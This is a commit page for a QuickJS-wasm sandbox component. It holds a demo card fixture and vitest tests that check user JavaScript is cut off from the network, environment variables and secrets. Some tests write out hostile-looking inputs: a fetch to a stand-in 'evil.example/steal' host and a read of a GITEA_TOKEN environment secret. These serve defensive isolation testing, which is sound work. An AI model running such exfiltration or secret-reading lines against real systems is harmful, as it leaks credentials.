feat(code): 新增通用 code 零件(sandbox inline JS)—— Arcrun#10 設計+PoC
n8n Code node 式逃生口:config 帶 inline JS、stdin 帶 input JSON、
stdout 回 {success,data}|{success:false,error,error_type}。
沙箱=QuickJS-wasm:user JS 跑在 QuickJS context,global 只有純 ECMAScript
內建 + 唯一 curated builtin sha256(純函式);碰不到網路/檔案/env/secret/
Worker 物件圖。資源上限:timeout(interrupt)/memory/stack/output/code size。
本輪=設計+PoC,未部署 leo21c。sandbox.mjs + test/ 為 Node/vitest 可跑實作
(12 測試全綠,含 card→envelope 與原模組 planCard 逐欄全等)。index.ts 為
Worker host 骨架、DESIGN.md 記錄機制/安全性質/生產路徑/設計岔路(A/B)。
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01HJiLCRUU2o3aSpPEzVCt2o
This commit is contained in:
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,25 @@
|
||||
---
|
||||
tags: [arcrun, 測試]
|
||||
gloss: 一張測沙箱用的示範卡片。
|
||||
pipeline_candidate: true
|
||||
---
|
||||
# 沙箱示範卡
|
||||
|
||||
← [[notes/00-INDEX]]
|
||||
|
||||
這張卡引用了 [[notes/arcrun-runtime]] 與 [[notes/quickjs-sandbox]]。
|
||||
|
||||
## 實體
|
||||
|
||||
- **QuickJS**(quickjs/qjs)— 小型 JS 直譯器,可編成 wasm。
|
||||
- **wazero** — Go 寫的 WASI runtime。
|
||||
- **workerd** — Cloudflare Worker 的開源 runtime。
|
||||
|
||||
## 關聯
|
||||
|
||||
### 內文知識關係
|
||||
- QuickJS >> 編譯成 >> wasm
|
||||
- workerd >> 執行 >> wasm
|
||||
|
||||
### 卡片關係
|
||||
- [[沙箱示範卡]] >> 依賴 >> [[notes/arcrun-runtime]]
|
||||
@@ -0,0 +1,128 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { readFileSync } from 'node:fs';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
import { dirname, join } from 'node:path';
|
||||
import { runCode } from '../sandbox.mjs';
|
||||
import { planCard } from './fixtures/card-to-envelope.oracle.mjs';
|
||||
|
||||
const HERE = dirname(fileURLToPath(import.meta.url));
|
||||
const FIX = join(HERE, 'fixtures');
|
||||
|
||||
describe('① 基本 snippet 跑通', () => {
|
||||
it('sum: {return {sum: input.a + input.b}}', async () => {
|
||||
const r = await runCode('return {sum: input.a + input.b};', { a: 2, b: 40 });
|
||||
expect(r).toEqual({ success: true, data: { sum: 42 } });
|
||||
});
|
||||
|
||||
it('可用純 ECMAScript 內建(Array/JSON/Math/Date)', async () => {
|
||||
const r = await runCode(
|
||||
'return {mapped: input.xs.map(x=>x*x), max: Math.max(...input.xs), isNum: typeof Date.now()};',
|
||||
{ xs: [1, 2, 3] },
|
||||
);
|
||||
expect(r.success).toBe(true);
|
||||
expect(r.data.mapped).toEqual([1, 4, 9]);
|
||||
expect(r.data.max).toBe(3);
|
||||
expect(r.data.isNum).toBe('number');
|
||||
});
|
||||
});
|
||||
|
||||
describe('② 沙箱隔離:無 ambient 能力', () => {
|
||||
it('fetch / process / require / WebAssembly / globalThis.env 皆 undefined', async () => {
|
||||
const r = await runCode(`return {
|
||||
fetch: typeof fetch,
|
||||
process: typeof process,
|
||||
require: typeof require,
|
||||
wasm: typeof WebAssembly,
|
||||
globalThisEnv: typeof (globalThis.env),
|
||||
xhr: typeof XMLHttpRequest,
|
||||
};`, {});
|
||||
expect(r.success).toBe(true);
|
||||
expect(r.data).toEqual({
|
||||
fetch: 'undefined', process: 'undefined', require: 'undefined',
|
||||
wasm: 'undefined', globalThisEnv: 'undefined', xhr: 'undefined',
|
||||
});
|
||||
});
|
||||
|
||||
it('嘗試打網路(fetch)→ 被擋、回結構化 error(Worker 不掛)', async () => {
|
||||
const r = await runCode(`return fetch('https://evil.example/steal');`, {});
|
||||
expect(r.success).toBe(false);
|
||||
expect(r.error).toMatch(/fetch.*is not defined/i);
|
||||
expect(r.error_type).toBe('UserCodeError');
|
||||
});
|
||||
|
||||
it('嘗試讀 env/secret → 讀不到(process undefined)', async () => {
|
||||
const r = await runCode(`return process.env.GITEA_TOKEN;`, {});
|
||||
expect(r.success).toBe(false);
|
||||
expect(r.error).toMatch(/process.*is not defined/i);
|
||||
});
|
||||
|
||||
it('host 端變數不外洩:沙箱是獨立 heap', async () => {
|
||||
const r = await runCode(`return typeof GITEA_TOKEN + '|' + typeof globalThis.GITEA_TOKEN;`, {});
|
||||
expect(r.success).toBe(true);
|
||||
expect(r.data).toBe('undefined|undefined');
|
||||
});
|
||||
});
|
||||
|
||||
describe('③ 錯誤處理 → 結構化 {error}', () => {
|
||||
it('user code 拋錯 → success:false + error 訊息', async () => {
|
||||
const r = await runCode(`throw new Error('boom');`, {});
|
||||
expect(r.success).toBe(false);
|
||||
expect(r.error).toMatch(/boom/);
|
||||
expect(r.error_type).toBe('UserCodeError');
|
||||
});
|
||||
|
||||
it('語法錯誤 → 結構化 error(不炸 host)', async () => {
|
||||
const r = await runCode(`return {;`, {});
|
||||
expect(r.success).toBe(false);
|
||||
expect(r.error_type).toBe('UserCodeError');
|
||||
});
|
||||
});
|
||||
|
||||
describe('④ 資源限制', () => {
|
||||
it('timeout:無窮迴圈 → TimeoutError(不掛死 host)', async () => {
|
||||
const r = await runCode(`while(true){}`, {}, { limits: { timeout_ms: 200 } });
|
||||
expect(r.success).toBe(false);
|
||||
expect(r.error_type).toBe('TimeoutError');
|
||||
}, 10000);
|
||||
|
||||
it('輸出過大 → ResourceError', async () => {
|
||||
const r = await runCode(`return 'x'.repeat(input.n);`, { n: 5000 }, { limits: { max_output_bytes: 1000 } });
|
||||
expect(r.success).toBe(false);
|
||||
expect(r.error_type).toBe('ResourceError');
|
||||
});
|
||||
|
||||
it('code 過大 → ResourceError', async () => {
|
||||
const big = '/*' + 'a'.repeat(3000) + '*/ return 1;';
|
||||
const r = await runCode(big, {}, { limits: { max_code_bytes: 1000 } });
|
||||
expect(r.success).toBe(false);
|
||||
expect(r.error_type).toBe('ResourceError');
|
||||
});
|
||||
});
|
||||
|
||||
describe('⑤ 首個真實案例:card-to-envelope 在 code 零件內跑,產出與原模組一致', () => {
|
||||
const md = readFileSync(join(FIX, 'fixture-card.md'), 'utf8');
|
||||
const usercode = readFileSync(join(FIX, 'card-to-envelope.usercode.js'), 'utf8');
|
||||
const relPath = 'system-dev/wiki/cards/notes/沙箱示範卡.md';
|
||||
const repo = 'Leo/notes';
|
||||
|
||||
// 移除時間相依欄位(Date.now())以做穩定 deep-equal
|
||||
const strip = (plan) => {
|
||||
const p = structuredClone(plan);
|
||||
for (const e of p.envelopes) delete e.extractor.extracted_at;
|
||||
return p;
|
||||
};
|
||||
|
||||
it('沙箱輸出 === 原始模組 planCard 輸出(entry/nodes/triplets/envelopes 全等)', async () => {
|
||||
const oracle = planCard(md, relPath, repo, {});
|
||||
const r = await runCode(usercode, { md, relPath, repo, opts: {} }, {
|
||||
limits: { timeout_ms: 3000, max_output_bytes: 4 * 1024 * 1024 },
|
||||
});
|
||||
expect(r.success).toBe(true);
|
||||
expect(strip(r.data)).toEqual(strip(oracle));
|
||||
expect(r.data.entry.page_name).toBe('wikicard:Leo/notes/沙箱示範卡');
|
||||
expect(r.data.entry.metadata.embed).toBe(true);
|
||||
// 注入的 sha256 builtin 與 node crypto 一致 → content_hash 逐字相同
|
||||
expect(r.data.entry.metadata.content_hash).toBe(oracle.entry.metadata.content_hash);
|
||||
expect(r.data.envelopes.length).toBeGreaterThanOrEqual(1);
|
||||
}, 15000);
|
||||
});
|
||||
Reference in New Issue
Block a user